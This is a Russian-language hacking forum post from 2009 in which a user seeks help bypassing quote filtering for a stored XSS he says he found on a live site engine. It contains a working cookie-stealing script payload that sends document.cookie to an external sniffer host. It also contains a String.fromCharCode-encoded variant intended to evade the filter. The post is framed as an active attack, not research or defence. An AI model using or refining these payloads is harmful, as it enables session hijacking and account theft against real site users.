Обойти фильтрацию кавычек в XSS |
25.03.2009, 01:48
|
|
Участник форума
Регистрация: 19.12.2006
Сообщений: 159
С нами:
10207557
Репутация:
64
|
|
Обойти фильтрацию кавычек в XSS
Нашел активную XSS на одном движке, только там фильтруются кавычки, попытался обойти и у меня возник такой вопрос
почему закодированная КСС не выполняется?
те так у меня работает отправка куков
<script>img = new Image(); img.src = "http://hacker-pro.ru/sniffer/Ы.gif?"+document.cookie;</script>
а вот так нет
<script>img = new Image(); img.src = String.fromCharCode(34,104,116,116,112,58,47,47,10 4,97,99,107,101,114,45,112,114,111,46,114,117,47,1 15,110,105,102,102,101,114,47,110,56,55,49,46,103, 105,102,63,34)+document.cookie;</script>
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Древовидный вид